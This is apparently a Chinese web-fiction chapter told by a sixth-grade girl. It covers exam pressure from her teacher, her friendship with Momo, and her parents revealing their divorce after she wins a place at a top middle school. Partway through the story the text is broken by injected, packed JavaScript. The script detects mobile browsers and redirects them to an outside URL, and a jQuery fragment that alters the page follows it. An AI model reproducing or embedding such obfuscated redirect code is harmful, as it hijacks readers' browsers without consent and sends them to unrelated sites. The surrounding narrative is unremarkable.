因为沫沫的存在，转学后我的生活比以前好过太多。渐渐地我再也听不到原先那帮子同学的嘲笑，到高年级成绩也没有下滑，一直稳在班级前五。
六年级，我报名了几所中学的自主招生考试。考前我没报太大希望，但我的老师很紧张，甚至提前一个月找我，问我需不需要她的辅导。
“你真的要努力点啊。”她苦口婆心地说，“班上就你情况最不稳定，其实你多做点题，多看会儿书，考上的几率很大。要有个好初中，半只脚就踏进大学的校门了啊！”
我实在不理解她的意思。作业已经很多了，为什么还要继续增加？分数再高，那就真得次次都考满分了。我觉得我完全做不到。
“你可以的。”老师点了点头，拉过我的手鼓励我说，“你想想沫沫，不是每科都比你高一两分？这就是基础的差距。而且我们平时的题目真的不难，考满分很简单。但自主招生考试不是这样。基础不好的人，倒时候分数会很差的！”
说完她又叹气：“说实在的，我觉得你后面的几个，都比你机会大些。最后一年了，努力点皆大欢喜不好吗？”
努力。
我脑海中盘旋着这个词语。
又是努力。
基本上每一任老师都会先肯定我的天赋，然后用更多的篇幅指出我在“努力”方面的问题。从他们嘴里，我知道了自己就是个整天无所事事，学业上靠着那点灵光吊着的人。文艺点说，是随时可能陨落的伪神。
如果我想保住自己的成绩，我必须比现在更加努力。
但是，怎么才算努力？
从老师办公室回去，路上我满脑子都是这个问题。正好沫沫也上完洗手间回来，看见我拿着词典不停翻找，绕到我身边故作惊讶道：“这是太阳从西边出来了吗？燕儿课间的时候竟然碰词典了，大进步啊！”
我抬起头来，正对上沫沫弯起的笑眼。想到老师说给听我的话，闷闷地问道：“沫沫你知道什么是努力吗？”
“努力？”沫沫转了进来，拉出座位坐下，“努力就是努力，还能是什么呀？”
“词典上说，努力指的‘把力量尽量使出来’……”这释义是真抽象，“我觉得我做到了呀，为什么老师还说我不努力呢？”
“你在意这个干啥都那么，老师眼里零个人是努力的。”
“但她说你就很努力。”
“有吗？”沫沫歪着脑袋思索，“那可能是因为她喜欢我做的事吧？”
“喜欢你做的事？”我继续问，“还有这种说法？”
“当然喽，老师也有自己的偏爱嘛。我们那位不就喜欢学生写笔记本，写错题集，写反思……”沫沫张开五指，每说一样就摁下一根，“如果换隔壁班的老师，他应该就觉得我天天在做无用功吧。”
我好像听懂了，又好像没有：“所以，努力就是老师的喜好。”
“反正我觉得是这样！”沫沫笑嘻嘻的，“是不是她又找你了呀？别信，按照你想的去做就是咯。努力不努力的……考到第一名就没人说啦！”
是这样吗？努力的本质是老师的喜好。
一连三天我都在思考这个问题，末了不得不承认：沫沫的话是对的。
如果以制作题集为努力的标准，班上第一名的那个女生完全是教科书级别的“不努力”。她从来不写错题，也不爱卷后反思，但她的成绩就是很好，次次考试只有作文能让她扣分，所以老师不会去找她说努不努力的问题，而是说她私底下一定非常用功，让我们不要只看表象，而是得看到人家私底下的努力。
其实我和沫沫都知道，第一名私下过得更懒。说好周末去图书馆，她每次都会迟到。找她连麦做题，十次里有八次说要睡觉，隔着网线都能听见平稳的呼吸，不知道又做了怎样的一个美梦。
比天赋怪更让人恼火的是这人真是你的同学。而且此人样貌好家境好性格好样样都好，尊师重道谦和有礼，从最平庸的到最古怪的都能包容，想讨厌她都找不出个理由，根本是三体人降维打击来的。
人够优秀，做什么就都有借口。哪怕本人没有这种想法，也总有人会替他们找借口，以此推销自己。
所以关于我究竟努力不努力这个话题，说一千道一万，还是我成绩不好。
--
招生考试比毕业考早两个月，共有五场，从期中考试后开始，不给人任何喘息的时间。
我一共参加了其中三场。整一个月，我天天做题，感觉自己变成了一张打印机，正面白色试题输送进去，很快就吐出一张写满文字，又被红笔勾画过的考卷。
我的老师非常焦虑。除了我们的前途，她自己的前途也拴在这次的招生考上。
“没事，我这才第一届呢。”
某天中午我去上洗手间，路过办公室听见老师的声音，似乎是跟人在打电话。
本来这是老师的私事，于情于理我不该管。但那天应该是心血来潮，我扒着墙壁，把耳朵贴了上去。
我听得一清二楚。
“我肯定带得好啊？我心血在他们身上了，考不好怎么可能。”
“是就这一次。”
“没办法啊，家里就想我回老家教书。觉得稳定清闲，好嫁人。”
“那肯定还是用钱说话有用。”
“不说了啊，挂了。”
我们学校是私立性质，教师没有编制，但工资高，五险二金，交的学生有多少考进五大重点，老师就能按人头拿奖金，都是大家心知肚明的潜规则。但从来没人会这么直白地把话说开。
当时我应该是很愤慨的，觉得自己被老师当成了赚钱的工具。因为这个，我跟老师的关系迅速疏远，用多少红包也换不回来。
--
五月成绩出来，我和沫沫都考上了本市排名第一的初中。
名单公示的那天，沫沫打来电话，激动地告诉我这个好消息。我虽然一直说不在意，但当自己的名字真的和一堆我所钦佩的人并列在一起时，还是像中了百万大奖一样，怎么也静不下心，就等着爸妈回来，和他们一起分享我的快乐。
真是太好了。那时我还真想。爸妈最近真的太辛苦的，在家里也不敢说话，就怕影响到我的考试。现在得到这样一个成绩，我应该是没有辜负的吧？
我从早晨等到傍晚，再等到晚上。他们工作太忙了，我知道，所以饭点我给自己叫了吃的。这样等他们到家，看到我吃饱喝足的样子，就能明白自己的女儿已经长大，可以不再事事操心。
--
我把餐盒收好，垃圾倒掉。打开没读完的书，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510638|202979||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
没两行又合上，眼神一直往门口瞟。
真是奇怪，怎么还不回来？
以往晚归的情况也不是没有，尤其这一个月，爸爸或妈妈，他们总有一个人不在家里。但今天是放榜的日子，他们再忙，也没理由不和我一起庆祝这件事吧？
大约八点，门口终于有了动静。
我一骨碌从沙发上翻了起来，哒哒哒地跑到门前，轻快地把门拉开。
“爸爸！妈妈！”我兴奋地叫道。
然而，门外的爸妈看上去却一点儿也不开心。
“燕儿。”
他们在玄关换鞋，妈妈趁机蹲下来抓住了我，很认真很认真地看着我的眼睛。
“到餐桌去，爸妈有事想跟你说。听话，好吗？”
“哦。”
我不明所以。但既然妈妈这样说了，我乖乖点头，又小跑着去了餐厅。
--
不知道别人家里怎样，在我家，餐厅除了吃饭，更多是说要紧事的地方。
一个月前，爸妈在餐桌上宣布我要参加三场考试，之后我们一家就再没有一起吃过饭了。
我把椅子拉开，正好爸爸妈妈也过来了。我们三个一人占据一边，爸爸妈妈面色凝重，酝酿着我看不懂的风暴。
难道我又做错了什么？
不应该啊。老师下午还给我发了短信，说我发挥很好，很出色呢！不至于才几个小时，我就从“很棒”变成“很可恶”吧！
“秋山燕。”
是爸爸。
在以前，爸爸总是叫我“燕子”或是“燕儿”，而不喊我的大名。现在他叫了我的全名，说明事情很大，只有“秋山燕”这个身份才能承受得住。
原本就提到嗓子眼的心一下吊得更高。
爸爸接着说。
“我们分开了，我和你妈。”
分开？
“分开？”我傻愣愣的，完全不理解这番话里的意思，“你们是不回家了吗？”
“不是的燕儿。”
妈妈的解释倒很直白。
“就是离婚。”
离婚？！
“我和你妈，我们考虑了很久，半年前就下了决定。但是因为你要考试，一直没告诉你。”
没告诉我？！
“现在你成绩也有了，我们可以放心了。所以决定告诉你这件事。”
放心了？！
我完全呆住，根本说不出话来，好半天才想到一句：那我呢？
感情没了，成绩有了。他们放心了。
那我呢？
我拼命读书，考上你们想要我考上的学校，为的应该不少能让你们安心通知我，现在我是个没人要的小孩子吧！
“一定要离婚吗？”我怯怯地发问，“我拿了很多三好学生，考上了最好的学校，老师说我会有出息，我……我……”
我绞尽脑汁，拼命诉说自己取得的小小成绩，希望这样就能让父母回心转意。
“你是我们的骄傲。”妈妈走了过来，紧紧地握住我的手掌，贴着我的耳朵，很庄重地说了句话。
那句话宛如诅咒，后来久久地缠绕着我。在无数个难捱的午夜，如噩梦一般清晰。
“不要难过，燕子。不论如何我和你爸，我们永远爱你。”